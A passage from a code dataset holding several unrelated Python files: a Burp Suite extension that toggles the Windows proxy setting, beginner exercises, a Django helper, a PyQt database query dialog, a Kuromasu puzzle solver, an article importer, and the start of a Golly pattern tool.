callbacks\r\n self.isEnabled = False\r\n callbacks.setExtensionName('app-traffic')\r\n callbacks.addSuiteTab(self)\r\n # Called on \"Enable\" button click to spin up the API Gateway\r\n def enableGateway(self, event):\r\n self.isEnabled = True\r\n self.set_sys_proxy(True)\r\n self.enable_button.setEnabled(False)\r\n self.target_host.setEnabled(False)\r\n self.disable_button.setEnabled(True)\r\n return\r\n # Called on \"Disable\" button click to delete API Gateway\r\n def disableGateway(self, event):\r\n self.isEnabled = False\r\n self.set_sys_proxy(False)\r\n self.enable_button.setEnabled(True)\r\n self.target_host.setEnabled(True)\r\n self.disable_button.setEnabled(False)\r\n return\r\n # Tab name\r\n def getTabCaption(self):\r\n return 'app-traffic'\r\n def set_key(self, ip, value): \r\n subprocess.Popen('taskkill /f /im iexplore.exe >nul 2>&1', shell=True)\r\n subprocess.Popen('reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyServer /d \"'+str(ip)+'\" /f', shell=True)\r\n subprocess.Popen('reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyEnable /t REG_DWORD /d '+str(value)+' /f', shell=True)\r\n subprocess.Popen('ping -n 5 127.0.0.1 >nul', shell=True)\r\n subprocess.Popen('start iexplore.exe http://burp', shell=True)\r\n\r\n def set_sys_proxy(self,on_off):\r\n if on_off:\r\n self.set_key(self.target_host.text, 1) \r\n else:\r\n self.set_key('', 0) \r\n # Layout the UI\r\n def getUiComponent(self):\r\n self.panel = JPanel()\r\n self.main = JPanel()\r\n self.main.setLayout(BoxLayout(self.main, BoxLayout.Y_AXIS))\r\n self.target_host_panel = JPanel()\r\n self.main.add(self.target_host_panel)\r\n self.target_host_panel.setLayout(\r\n BoxLayout(self.target_host_panel, BoxLayout.X_AXIS))\r\n self.target_host_panel.add(JLabel('Listen Prot:'))\r\n self.target_host = JTextField('127.0.0.1:8080', 25)\r\n self.target_host_panel.add(self.target_host)\r\n self.buttons_panel = JPanel()\r\n self.main.add(self.buttons_panel)\r\n self.buttons_panel.setLayout(\r\n BoxLayout(self.buttons_panel, BoxLayout.X_AXIS))\r\n self.enable_button = JButton('Enable', actionPerformed= self.enableGateway)\r\n self.buttons_panel.add(self.enable_button)\r\n self.disable_button = JButton('Disable', actionPerformed= self.disableGateway)\r\n self.buttons_panel.add(self.disable_button)\r\n self.disable_button.setEnabled(False)\r\n self.panel.add(self.main)\r\n return self.panel\r\n","sub_path":"app-traffic.py","file_name":"app-traffic.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"576822574","text":"from collections import deque\n\npeople = deque()\ncommand = input()\nwhile not command == \"End\":\n if command == \"Paid\":\n while len(people) > 0:\n print(people.popleft())\n\n else:\n name = command\n people.append(name)\n command = input()\n\nprint(f\"{len(people)} people remaining.\")\n\n","sub_path":"advanced/stacks and queues/supermarket.py","file_name":"supermarket.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"563492641","text":"cats = []\nwhile True:\n print('Gimme a name for cat ' + str(len(cats) + 1) + ' , then press Enter. Leave blank and press Enter to quit and write the list to an output file called cat-index.txt.')\n catName = input()\n cats = cats + [catName]\n if catName == '':\n break\n else:\n continue\n# this block of code takes the list and tells you the index of each cat name\nopen('cat-index.txt', 'w') # clears out contents of output file.\nfor i in range(len(cats)): # count how many cats are in list\n if cats[i] != '': # leaving the name blank and pressing enter creates a blank entry at the end of the list; this ignores the blank at the end of the list and prints the rest of the cat names. I could get the same result by deleting the -1 (last item) in the list \n print('Cat ' + cats[i] + ' is located at index ' + str(i) + '.') # prints list to file\n else: # when it runs out of cat names, print the following \n print('Those are all the cats. Nyan!')\nwhile True: # check to see if our actual cats are in the list\n if 'Liam' in cats:\n print('Why is Liam in the cat list?\\n')\n catCheck = ['Essie', 'Gary', 'Olive', 'Charlie', 'Mimi', 'Trixie']\n for i in range(len(cats)):\n if cats[i] != '':\n r = 0\n while r < int((len(catCheck))):\n try:\n cats.index(catCheck[r])\n except ValueError as e:\n print(e, file = open('./x-list.txt', 'a'))\n #exceptionList = []\n #exceptionList.append(e)\n #print(exceptionList)\n #print(exceptionList, file = open('./x-list.txt', 'a'))\n r = r + 1\n break \n \n \n \n # don't print exceptions as they occur. add them to a list and remove dupes and print list","sub_path":"DELETE method test.py","file_name":"DELETE method test.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"597072904","text":"from fb_post.models import Post\n\nfrom .validity import is_post_valid\n\nfrom .dict_post_details import get_dict_details_of_post\n\n#task - 13\ndef get_post(post_id):\n is_post_valid(post_id)\n\n post_obj = Post.objects\\\n .select_related('posted_by')\\\n .prefetch_related('comments', 'reaction', 'comments__reaction',\n 'comments__commented_by')\\\n .filter(id=post_id)\\\n .first()\n\n return get_dict_details_of_post(post_obj)\n","sub_path":"clean_code_submissions/clean_code_assignment_004/fb_post/utils/get_post.py","file_name":"get_post.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"552474969","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Time : 2023/1/30 12:44\n# @Author : ZANWEB\n# @File : DfDailyQueryCode in PyCharm\n# @IDE : PyCharm\n# @Function :\nimport os\nimport subprocess\nimport sys\n\nimport pandas as pd\nfrom PyQt5.QtCore import pyqtSlot, QDate, Qt\nfrom PyQt5.QtWidgets import QApplication, QMessageBox, QDialog, QTableWidgetItem\nfrom copy import deepcopy\n\nfrom DBbase.dbFunctions import df_t_emp_read, t_mhr_read_tables\nfrom Df_Daily_Query_ui import DailyQueryUI\n\n\n# from PyQt5.QtGui import Qt\n\nclass DailyQuery(QDialog, DailyQueryUI):\n def __init__(self, _user_info):\n super(DailyQuery, self).__init__()\n\n self.emp_group_id = 1\n self.sort_order = None\n self.emp = None\n self.df = None\n self.user_info = _user_info\n\n self.setup_ui(self)\n self.data_init_()\n self.connect_()\n\n def data_init_(self):\n date = QDate.currentDate()\n first_day_of_month = QDate(date.year(), date.month(), 1)\n last_day_of_month = first_day_of_month.addDays(date.daysInMonth() - 1)\n self.edit_start.setDate(first_day_of_month)\n self.edit_end.setDate(last_day_of_month)\n emp = df_t_emp_read(self.user_info, ['id', 'name'])\n self.emp = emp\n emp = ['|'.join([str(x['id']), x['name'].strip()]) for x in emp]\n self.edit_emp.addItems(emp)\n self.edit_emp.clearEditText()\n\n def connect_(self):\n self.btn_query.clicked.connect(self.query)\n self.btn_excel.clicked.connect(self.export_excel)\n self.edit_start.dateChanged.connect(self.date_changed)\n self.edit_table.horizontalHeader().sectionClicked.connect(self.header_clicked)\n self.r_btn_group.buttonClicked[int].connect(self.on_r_btn_group_clicked)\n\n @pyqtSlot(int)\n def on_r_btn_group_clicked(self, id_):\n self.emp_group_id = id_\n # print(self.emp_group_id)\n\n @pyqtSlot(int)\n def header_clicked(self, index):\n # header = self.edit_table.horizontalHeader()\n # self.sort_order = header.sortIndicatorOrder()\n if self.sort_order == Qt.AscendingOrder:\n self.sort_order = Qt.DescendingOrder\n else:\n self.sort_order = Qt.AscendingOrder\n self.edit_table.sortByColumn(index, self.sort_order)\n\n @pyqtSlot()\n def export_excel(self):\n desktop = os.path.join(os.path.expanduser(\"~\"), 'Desktop')\n file_path = os.path.join(desktop, \"output.xlsx\")\n self.df.to_excel(file_path, index=False, engine='openpyxl')\n subprocess.Popen(file_path, shell=True)\n\n @pyqtSlot()\n def date_changed(self):\n start = self.edit_start.date()\n last = start.addDays(start.daysInMonth() - 1)\n self.edit_end.setDate(last)\n\n @pyqtSlot()\n def query(self):\n # query\n result_ = self.get_mhr()\n # 这里加入计算出的辅助工的mhr\n # print(result_)\n have_vendors = [x for x in result_ if (x['Vendors'] and (x['Vendors'] != 'None'))]\n if have_vendors:\n for have_vendor in have_vendors:\n vendors_ = []\n if have_vendor['Vendors'].find(','):\n vendors_ = have_vendor['Vendors'].split(',')\n else:\n vendors_[0] = have_vendor['Vendors']\n for vendor_ in vendors_:\n name_ = [x['name'] for x in self.emp if x['id'] == int(vendor_)]\n tmp_ = deepcopy(have_vendor)\n tmp_['Operator'] = name_[0]\n tmp_['主/辅'] = '辅'\n tmp_['有/无承包商辅助'] = 'N'\n tmp_['Vendors'] = ''\n result_.append(tmp_)\n\n if result_:\n # emp = df_t_emp_read(self.user_info, ['id', 'name'])\n # print(emp, result_)\n # emp_map = {item['id']:item['name'] for item in emp}\n\n # 这里再加入正式工/外包工的区分\n emp_formal = [x['name'] for x in self.emp if str(x['id']).startswith('80')]\n emp_informal = [x['name'] for x in self.emp if str(x['id']).startswith('70')]\n result_formal = [x for x in result_ if x['Operator'] in emp_formal]\n result_informal = [x for x in result_ if x['Operator'] in emp_informal]\n self.df = None\n if self.emp_group_id == 1:\n self.df = pd.DataFrame(result_)\n elif self.emp_group_id == 2:\n self.df = pd.DataFrame(result_formal)\n else:\n self.df = pd.DataFrame(result_informal)\n\n self.df = self.df.sort_values(by=['Date', 'Operator'], axis=0, ascending=[True, True])\n # df['emp'] = df['emp'].replace(emp_map)\n # 清空表格\n self.edit_table.clear()\n self.edit_table.setRowCount(0)\n self.edit_table.setColumnCount(0)\n # self.edit_table.sortByColumn(False)\n # 填充表格\n self.edit_table.setRowCount(self.df.shape[0])\n self.edit_table.setColumnCount(self.df.shape[1])\n self.edit_table.setHorizontalHeaderLabels(self.df.columns)\n for i in range(self.df.shape[0]):\n for j in range(self.df.shape[1]):\n item = QTableWidgetItem(str(self.df.iloc[i, j]))\n item.setTextAlignment(Qt.AlignRight | Qt.AlignVCenter)\n self.edit_table.setItem(i, j, item)\n self.edit_table.resizeColumnsToContents()\n self.edit_table.resizeRowsToContents()\n # self.edit_table.sortItems(0, Qt.DescendingOrder)\n # self.edit_table.sortByColumn(True)\n else:\n QMessageBox.warning(self, '警告:', '没有数据!')\n\n def get_mhr(self):\n start_ = self.edit_start.date().toPyDate().strftime('%Y-%m-%d')\n end_ = self.edit_end.date().toPyDate().strftime('%Y-%m-%d')\n if self.edit_emp.currentText():\n emp_no_ = self.edit_emp.currentText().split('|')[0]\n else:\n emp_no_ = ''\n\n result = t_mhr_read_tables(self.user_info, start_, end_, emp_no_)\n return result\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n user_info = {\n 'server': '127.0.0.1\\\\stlsojsvr04',\n 'database': 'DFactory',\n 'account': 'zyq',\n 'password': 'zyq123'\n }\n window = DailyQuery(user_info)\n window.show()\n sys.exit(app.exec())\n","sub_path":"DfDailyQueryCode.py","file_name":"DfDailyQueryCode.py","file_ext":"py","file_size_in_byte":6446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"319337569","text":"import os.path\nimport unittest\n\nfrom integration import *\n\nclass TestTests(IntegrationTest):\n def __init__(self, *args, **kwargs):\n IntegrationTest.__init__(\n self, os.path.join(examples_dir, '07_tests'), *args, **kwargs\n )\n\n @skip_if_backend('msbuild')\n def test_test(self):\n self.build('test')\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/integration/test_tests.py","file_name":"test_tests.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"276751622","text":"import random\nfrom core import audio_ivec_sim\nfrom core.database_manager import trailer_seen, personality\nfrom core import get_table\nfrom core import movie_pers\nfrom pandas import Series\nimport numpy\nimport operator\nimport math\n\n\ndef pers_rec(user_id,num_of_rec,num_of_skip,pers_type):\n movies_seen=trailer_seen.TrailerSeen.query.filter_by(seen_by=user_id)\n movies_to_exclude = []\n for r in movies_seen:\n movies_to_exclude.append(r.imdb_id)\n\n pers_user = personality.Personality.query.filter_by(user_id=user_id).first().TIPI_TO_OCEAN()\n final_array = []\n\n if pers_type == \"users\":\n pers_others = personality.Personality.query.filter(personality.Personality.user_id != user_id)\n\n for pers_other in pers_others:\n d = get_distance(pers_user, pers_other.TIPI_TO_OCEAN())\n movies_seen=trailer_seen.TrailerSeen.query.filter_by(seen_by=pers_other.user_id, is_skipped=0)\n for r in movies_seen:\n # problem when multiple users rated the same movie, it should prob aggregate the score\n final_array.append((r.imdb_id, float((1/d) * float(r.rate)), r.rate))\n else:\n for row in movie_pers.itertuples():\n d = get_distance(pers_user, [row.openness, row.conscientiousness, row.extraversion, row.agreeableness, row.emotional_range])\n final_array.append((row.IMDB_ID, 1/d, d))\n\n dtype = [('IMDB_ID', 'S10'), ('PREDICTED_VOTE', float), ('IMDB_VOTES', int)]\n\n numpy_final = numpy.array(final_array, dtype=dtype)\n numpy_final = numpy.sort(numpy_final, order=['PREDICTED_VOTE'])\n numpy_final = numpy_final[::-1]\n\n all_table = get_table(\"all_table\")()\n all_table = all_table[~all_table[\"IMDB_ID\"].isin(Series(movies_to_exclude))]\n all_table.reset_index(drop=True, inplace=True)\n\n final = {}\n\n safe_iter = 0\n\n while (len(final) < num_of_rec) and (safe_iter < 20) and len(numpy_final) > (safe_iter + num_of_skip):\n rec = numpy_final[safe_iter + num_of_skip]\n\n movie = all_table[all_table[\"IMDB_ID\"] == rec[0]].copy()\n if len(movie.index):\n movie.reset_index(drop=True, inplace=True)\n movie = movie.iloc[0]\n movie[\"REC_TYPE\"] = \"PERS\"\n movie[\"PREDICTED_VOTE\"]=rec[1]\n\n z = movie.to_json()\n safe_iter += 1\n final.update({len(final): z})\n else:\n safe_iter += 1\n\n return final\n\ndef get_distance(a,b):\n return math.sqrt((a[0]-b[0])**2 + (a[1]-b[1])**2 + (a[2]-b[2])**2 + (a[3]-b[3])**2 + (a[4]-b[4])**2)\n","sub_path":"core/rec_engine/pers_rec.py","file_name":"pers_rec.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"173339986","text":"class Kuromasu:\n\n def __init__(self,archivo_tablero):\n self.tablero=[]\n for linea in archivo_tablero:\n self.tablero.append(linea.split())\n self.celdas_blancas=[]\n self.celdas_numeradas=[]\n self.celdas_negras=[]\n for i in range(len(self.tablero)):\n for j in range(len(self.tablero)):\n if celda_ocupada(self.tablero,i,j) and self.tablero[i][j]!='X':\n self.celdas_numeradas.append([i,j])\n elif self.tablero[i][j]=='X':\n self.celdas_negras.append([i,j])\n\n def dibujarTablero(self):\n print('\\n')\n for i in range(len(self.tablero)):\n for j in range(len(self.tablero)):\n if [i,j] in self.celdas_negras:\n print(' ',chr(9679),' ',end='')\n elif [i,j] in self.celdas_numeradas:\n print(' ',chr(9311+int(self.tablero[i][j])),' ',end='')\n else:\n print(' ',chr(9675),' ',end='')\n print('\\n')\n print('\\n')\n\n def agregarNegra(self,i,j):\n if [int(i),int(j)] in self.celdas_numeradas:\n print('esa celda no puede pintarse de negro pues contiene un numero')\n sleep(2.3)\n elif not validar_celda_tablero(self.tablero,int(i),int(j)):\n print('esa posicion no pertenece al tablero(fuera de limites)')\n sleep(2.3)\n elif negras_adyacentes(self.celdas_negras,int(i),int(j)):\n print('dos negras no pueden estar juntas ni horizontal ni verticalmente')\n sleep(2.3)\n elif [int(i),int(j)] in self.celdas_negras:\n print('esa celda ya fue pintada')\n sleep(2.3)\n else:\n self.celdas_negras.append([int(i),int(j)])\n\n def revisarSolucion_regla1(self):\n for i in range(len(self.tablero)):\n for j in range(len(self.tablero)):\n if self.tablero[i][j]!='0' and self.tablero[i][j]!='X':\n celda_solucionada=False\n soluciones_celda=traducir_combinaciones_posibles(combinaciones_posibles(self.tablero,int(self.tablero[i][j])-1,generar_decisiones(self.tablero,i,j)))\n soluciones_inviables_segun_negros=[]\n for solucion in soluciones_celda:\n for celda in solucion:\n if celda in self.celdas_negras:\n soluciones_inviables_segun_negros.append(solucion)\n break\n if soluciones_inviables_segun_negros==soluciones_celda:\n return False\n lista_posibles_negras=solucion_celda(self.tablero,i,j)\n for posible_combinacion in lista_posibles_negras:\n for negra in posible_combinacion:\n if negra not in self.celdas_negras:\n break\n celda_solucionada=True\n if not celda_solucionada:\n return False\n return True\n\n def revisarSolucion_regla4(self,posicion=[0,0],blancas=[],i=0):\n vectores=[[1,0],[0,1],[-1,0],[0,-1]]\n if i==0:\n self.blancas_simulacion_regla4=[]\n for i in range(len(self.tablero)):\n for j in range(len(self.tablero)):\n if [i,j] not in self.celdas_negras:\n self.blancas_simulacion_regla4.append([i,j])\n if len(self.blancas_simulacion_regla4)==1 or len(self.blancas_simulacion_regla4)==0:\n return True\n celda_comienzo=self.blancas_simulacion_regla4[0]\n for vector in vectores:\n if [celda_comienzo[0]+vector[0],celda_comienzo[1]+vector[1]] in self.blancas_simulacion_regla4:\n if self.revisarSolucion_regla4([celda_comienzo[0]+vector[0],celda_comienzo[1]+vector[1]],self.blancas_simulacion_regla4,i+1):\n return True\n else:\n if posicion in blancas:\n eliminar_de_lista(blancas,posicion)\n if blancas==[]:\n return True\n for vector in vectores:\n if [posicion[0]+vector[0],posicion[1]+vector[1]] in self.blancas_simulacion_regla4:\n if self.revisarSolucion_regla4([posicion[0]+vector[0],posicion[1]+vector[1]],self.blancas_simulacion_regla4,i+1):\n return True\n return False\n\n def resolver(self,celdas_numeradas=[],solucion=[],blancas=(),i=0):\n if i==0:\n celdas_numeradas=self.celdas_numeradas\n #print(celdas_numeradas)\n solucion=[[]]*len(celdas_numeradas)\n if celdas_numeradas==[]:\n #print('caso baso solucion:',solucion)\n return True\n #print(solucion_celda(self.tablero,celdas_numeradas[0][0],celdas_numeradas[0][1]))\n for combinacion in solucion_celda(self.tablero,celdas_numeradas[0][0],celdas_numeradas[0][1]):\n legal=True\n for celda in combinacion:\n #print('celda:',celda)\n if celda in blancas:\n legal=False\n else:\n for negras in solucion[:i]:\n #print('sol:',solucion)\n #print(negras)\n if negras_adyacentes(negras,celda[0],celda[1]):\n legal=False\n #print('ad')\n for negras in solucion[:i]:\n for negra in negras:\n #print ('negra:',negra)\n #print('comb:',combinacion)\n #print(blancas_segun_solucion(self.tablero,celdas_numeradas[0][0],celdas_numeradas[0][1],combinacion))\n if negra in blancas_segun_solucion(self.tablero,celdas_numeradas[0][0],celdas_numeradas[0][1],combinacion):\n #print('in')\n legal=False\n #print('\\n')\n if legal:\n #print('comb:',combinacion)\n #print('legal')\n #print(celdas_numeradas[1:])\n #print(i)\n #print('\\n')\n blancas_lista=list(blancas)\n #print('comb:',combinacion)\n #print('blancas:',blancas)\n #print('sol:',solucion)\n #print(i,'\\n')\n blancas_lista+=(blancas_segun_solucion(self.tablero,celdas_numeradas[0][0],celdas_numeradas[0][1],combinacion))\n solucion[i]=combinacion\n if self.resolver(celdas_numeradas[1:],solucion,tuple(blancas_lista),i+1):\n return solucion\n #print('fail')\n #return []\n\n def traducirSolucion(self,solucion):\n traduccion=[]\n for combinacion in solucion:\n for negra in combinacion:\n if negra not in traduccion:\n traduccion.append(negra)\n return traduccion\n\n def volverEstado_inicial(self):\n self.celdas_blancas=[]\n self.celdas_numeradas=[]\n self.celdas_negras=[]\n for i in range(len(self.tablero)):\n for j in range(len(self.tablero)):\n if celda_ocupada(self.tablero,i,j) and self.tablero[i][j]!='X':\n self.celdas_numeradas.append([i,j])\n elif self.tablero[i][j]=='X':\n self.celdas_negras.append([i,j])\n\n def limpiarTablero(self):\n self.celdas_negras=[]\n\n#clases\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#funciones\n\n\ndef eliminar_de_lista(lista,elemento): #elimina elemento de la lista, util para evitar errores si el elemento no esta\n if elemento in lista:\n #print('s')\n lista.pop(lista.index(elemento))\n\ndef celda_ocupada(tablero,i,j): #valida que la celda no este ocupada (True=ocupada, False=desocupada)\n if validar_celda_tablero(tablero,i,j):\n if tablero[i][j]!='0':\n return True\n return False\n\ndef validar_celda_tablero(tablero,i,j): #valida que la celda se encuentre dentro del tablero (True=dentro, False=fuera)\n if i<0 or j<0 or i>len(tablero)-1 or j>len(tablero[0])-1:\n return False\n return True\n\ndef negras_adyacentes(negras_actuales,i,j): #comprueba si las celdas adyacentes a [i,j] estan pintadas de negro\n if ([i+1,j] in negras_actuales) or ([i-1,j] in negras_actuales) or ([i,j+1] in negras_actuales) or ([i,j-1] in negras_actuales):\n return True\n return False\n\ndef generar_decisiones(tablero,i,j): #retorna todas las celdas que son \"alcanzables\" por la celda en la posicion i,j segun su numero.\n decisiones=[[],[],[],[]] #El formato son 4 listas para las 4 direcciones posibles, donde las celdas estan ordenadas segun cercania,\n if tablero[i][j]!='0': #siendo la primera la más cerca en tal direccion, y la ultima la mas lejana en dicha direccion\n for l in range(1,int(tablero[i][j])): #Debe ocuparse la funcion limpiar_lista_sublistas_vacias para eliminar las listas de direcciones\n if validar_celda_tablero(tablero,i+l,j): #en las que no haya posibilidades de movimiento\n decisiones[0].append([i+l,j])\n for l in range(1,int(tablero[i][j])):\n if validar_celda_tablero(tablero,i-l,j):\n decisiones[1].append([i-l,j])\n for l in range(1,int(tablero[i][j])):\n if validar_celda_tablero(tablero,i,j+l):\n decisiones[2].append([i,j+l])\n for l in range(1,int(tablero[i][j])):\n if validar_celda_tablero(tablero,i,j-l):\n decisiones[3].append([i,j-l])\n decisiones=limpiar_lista_sublistas_vacias(decisiones)\n return decisiones\n\ndef eliminar_celda_de_decision(celda_eliminar,decisiones): #elimina celda elegida de la lista de caminos, funcion necesaria por el formato de las decisiones\n for camino in decisiones:\n for celda in camino:\n if celda==celda_eliminar:\n indice_camino=decisiones.index(camino)\n decisiones[0],decisiones[indice_camino]=decisiones[indice_camino],decisiones[0]\n if len(decisiones)==1:\n return [decisiones[0][1:]]\n return [decisiones[0][1:]]+decisiones[1:]\n\ndef limpiar_lista_sublistas_vacias(lista): #elimina sublistas que sean vacias ([]) si estas existen\n while [] in lista:\n lista.pop(lista.index([]))\n return lista\n\ndef combinaciones_posibles(tablero,numero,lista_decisiones,combinacion_solucion=None,i=0,lista_combinaciones=[]): #retorna lista con tuplas que contienen las celdas que resuelven el numero,\n if i==0 and combinacion_solucion is None: #recibe:\n combinacion_solucion=[0]*(numero) #--->numero del que se buscan las combinaciones, restado en\n lista_combinaciones=[] # uno, pues numero-1 es la cantidad de celdas blancas\n if numero==0: #necesarias aparte de la que contiene al numero\n lista_combinaciones.append(tuple(combinacion_solucion)) #--->resultado de la funcion generar_decisiones en la posicion\n return #del numero\n for decision in lista_decisiones:\n combinacion_solucion[i]=decision[0]\n (combinaciones_posibles(tablero,numero-1,limpiar_lista_sublistas_vacias(eliminar_celda_de_decision(decision[0],lista_decisiones)),combinacion_solucion,i+1,lista_combinaciones))\n lista_decisiones=lista_decisiones[1:]\n return lista_combinaciones\n\ndef traducir_combinaciones_posibles(resultado_combinaciones_posibles): #retorna lista con listas que contienen las celdas que resuelven cada numero,\n comb=[] #o sea todas las posibilidades de casillas blancas para satisfacer la regla 1 del juego, recibe el resultado\n for tupla in resultado_combinaciones_posibles: #de la funcion combinaciones_posibles.\n l=list(tupla)\n comb.append(l)\n return comb\n\ndef solucion_celda(tablero,i,j): #retorna la combinacion de celdas negras que necesita una posicion para ser resuelta (lista con todas las combinaciones posibles)\n celdas_negras_cada_solucion=[]\n soluciones=(traducir_combinaciones_posibles(combinaciones_posibles(tablero,int(tablero[i][j])-1,generar_decisiones(tablero,i,j))))\n for solucion in soluciones:\n celdas_negras=[]\n i_min=min(solucion[n][0] for n in range(len(solucion)))\n if i_min>i:\n i_min=i\n if validar_celda_tablero(tablero,i_min-1,j):\n celdas_negras.append([i_min-1,j])\n if tablero[i_min-1][j]!='0' and tablero[i_min-1][j]!='X':\n continue\n i_max=max(solucion[n][0] for n in range(len(solucion)))\n if i_maxj:\n j_min=j\n if validar_celda_tablero(tablero,i,j_min-1):\n celdas_negras.append([i,j_min-1])\n if tablero[i][j_min-1]!='0' and tablero[i][j_min-1]!='X':\n continue\n j_max=max(solucion[n][1] for n in range(len(solucion)))\n if j_max=10:\n print('\\nSu tablero es de tamaño',len(juego.tablero),'por lo que la resolucion podría tardarse,\\n(ha sido testeado un tablero de 17x17, que se resolvio en aproximadamente\\n20 minutos y uno de 11x11 se resolvio en medio minuto aproximadamente) ')\n juego.limpiarTablero()\n solucion=(juego.traducirSolucion(juego.resolver()))\n for negra in solucion:\n juego.agregarNegra(negra[0],negra[1])\n print('\\nSolucion:')\n juego.dibujarTablero()\n juego.volverEstado_inicial()\n archivo_guardar=open(archivo,'w')\n for fila in juego.tablero:\n for columna in fila:\n archivo_guardar.write(columna)\n archivo_guardar.write(' ')\n archivo_guardar.write('\\n')\n print('Se ha guardado el tablero en su estado inicial, ¡vuelve pronto!\\n')\n jugar=False\n elif eleccion_menu=='4':\n archivo_guardar=open(archivo,'w')\n for i in range(len(juego.tablero)):\n for j in range(len(juego.tablero)):\n if [i,j] in juego.celdas_negras:\n archivo_guardar.write('X')\n archivo_guardar.write(' ')\n elif juego.tablero[i][j]!='0' and juego.tablero[i][j]!='X':\n archivo_guardar.write(juego.tablero[i][j])\n archivo_guardar.write(' ')\n else:\n archivo_guardar.write('0')\n archivo_guardar.write(' ')\n archivo_guardar.write('\\n')\n print('Se han guardado tus respuestas en el archivo. Gracias por jugar.\\n¡vuelve pronto!\\n')\n jugar=False\n elif eleccion_menu=='5':\n juego.volverEstado_inicial()\n elif eleccion_menu=='6':\n juego.limpiarTablero()\n else:\n juego.agregarNegra(celda.split(',')[0],celda.split(',')[1])\n","sub_path":"Tarea_3/KuromasuJuego.py","file_name":"KuromasuJuego.py","file_ext":"py","file_size_in_byte":25661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"563824315","text":"import io,json,os\n\nfolder = \"../data/articles\"\nfile = \"articles_20161017.json\"\ntags = [[\"title\"],[\"featured\"],[\"introtext\",\"content_intro\"],[\"fulltext\",\"content_main\"],[\"id\"],[\"created_by\",\"author\"],[\"access\",\"public\"],[\"publish_up\",\"publish_start\"],[\"publish_down\",\"publish_stop\"],[\"modified\",\"publish_modified\"],[\"created\",\"publish_created\"],[\"alias\"]]\nshortlist = {\"articles\":{},\"featured\":[],\"gallery\":[]}\n\n#read file\nwith io.open(file, 'r') as file:\n content = file.read()\ncontent = content[(content.index(\"[\")):]\ncontent = content.replace(\"\\\\r\",\"\").replace(\"\\\\n\",\"\")\ncontent = content.replace(\"btn-default\",\"btn-secondary\")\n\nlevel = 0\ncount = 0\nparts = []\nmaxid = 0\n\n#split in parts\nfor i in range(1, len(content)-1):\n if content[i] == \"{\":\n level = level + 1\n elif content[i] == \"}\":\n level = level - 1\n elif (content[i] == \",\") and (level == 0):\n count = count + 1\n continue\n \n while len(parts) <= count:\n parts.append(\"\")\n parts[count] += content[i]\n\n#parse\ntry:\n os.mkdir(folder)\nexcept WindowsError:\n print(\"no new folder\")\n\nfor i in range(0, len(parts)):\n\n article = json.loads(parts[i])\n print(article[\"id\"])\n maxid = max(maxid, int(article[\"id\"]))\n shortlist[\"articles\"][article[\"alias\"]] = int(article[\"id\"])\n if article[\"featured\"]!=\"0\":\n shortlist[\"featured\"].append(int(article[\"id\"]))\n newarticle = {\"comments\":True,\"permanent_alias\":True,\"system\":False,\"notified\":True}\n for key in article:\n for tag in tags:\n if key == tag[0]:\n if len(tag) == 1:\n newtag = tag[0]\n elif len(tag) == 2:\n newtag = tag[1]\n newarticle[newtag] = article[key]\n \n if newtag == \"id\" or newtag == \"author\":\n newarticle[newtag] = int(article[key])\n if newtag == \"public\":\n newarticle[newtag] = bool(article[key])\n if newtag == \"featured\":\n del newarticle[newtag]\n if newtag == \"alias\":\n newarticle[newtag] = article[key].replace(\"\\u00e4\",\"ae\").replace(\"\\u00f6\",\"oe\").replace(\"\\u00fc\",\"ue\")\n \n \n with open(folder + \"/\" + str(newarticle[\"id\"]).zfill(6) + \".json\",\"w+\") as f:\n f.write(json.dumps(newarticle))\n\nshortlist[\"count\"] = maxid \nwith open(folder + \"/index.json\",\"w+\") as f:\n f.write(json.dumps(shortlist)) ","sub_path":"extra/implementArticles.py","file_name":"implementArticles.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"309520926","text":"import golly as g \nimport copy\nfrom os import path\n\nglider_cells = g.parse(\"3o$o$bo!\")\nblock_cells = g.parse(\"2o$2o!\")\n\nclass RecipeConstructor(object):\n\t\n\tdef __init__(self):\n\t\tself.blockX = 0\n\t\tself.blockY = 0\n\t\tself.sequence = []\n\t\tself.recipe = []\n\t\tself.BlockMoveTableEven = {}\n\t\tself.BlockMoveTableOdd = {}\n\t\tself.WssCreator = []\n\t\tself.minD = 0\n\t\tself.maxY = 0\n\t\tself.maxX = 0\n\t\t\n\tdef Reset(self):\n\t\tself.blockX = 0\n\t\tself.blockY = 0\n\t\tself.sequence = []\n\t\tself.recipe = []\n\t\t\n\tdef AddWss(self, idx):\n\t\tdelta = self.blockY - self.blockX\n\t\tdx = self.WssCreator[idx][0]\n\t\tdy = self.WssCreator[idx][1]\n\t\trec = self.WssCreator[idx][2]\n\t\t\n\t\tfor i in rec:\n\t\t\tself.recipe.append(i + delta)\n\t\t\n\t\tself.sequence.append((idx))\n\t\tself.blockX += dx\n\t\tself.blockY += dy\n\t\t\n\tdef Goto(self, x, y):\n\t\t\n\t\tdx = x - 